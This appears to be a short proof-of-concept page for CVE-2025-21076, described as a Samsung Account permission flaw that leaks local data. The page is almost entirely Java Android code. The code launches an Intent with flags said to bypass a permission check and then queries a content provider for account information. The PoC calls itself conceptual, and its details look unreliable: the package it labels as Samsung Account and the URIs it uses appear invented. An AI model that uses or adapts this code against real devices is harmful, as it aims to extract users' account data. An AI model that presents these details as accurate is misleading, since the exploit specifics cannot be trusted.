CVE-2025-21076 Samsung Account权限处理不当导致本地数据泄露

// CVE-2025-21076 PoC - Samsung Account权限绕过数据访问 // This is a conceptual proof of concept demonstrating the attack vector // Actual exploitation requires specific device and user interaction // Step 1: Create a malicious component to trigger the vulnerability Intent maliciousIntent = new Intent(); maliciousIntent.setComponent(new ComponentName( "com.sec.android.app.samsungapps", // Samsung Account package "com.samsung.android.account.ui.MainActivity" )); // Step 2: Craft intent with specific flags to bypass permission check maliciousIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TOP); // Step 3: Add data URI to trigger vulnerable code path maliciousIntent.setData(Uri.parse("samsungapps://account/data?type=sensitive")); // Step 4: Trigger the vulnerability through user interaction startActivity(maliciousIntent); // Step 5: Extract accessed data through exported ContentProvider ContentResolver resolver = getContentResolver(); Cursor cursor = resolver.query( Uri.parse("content://com.sec.android.app.samsungapps.provider/account_info"), null, null, null, null ); // Note: This PoC is conceptual. Actual exploitation requires: // - Target device with vulnerable Samsung Account version < 15.5.00.18 // - User interaction (clicking/launching the malicious app) // - Specific trigger conditions based on Samsung Account implementation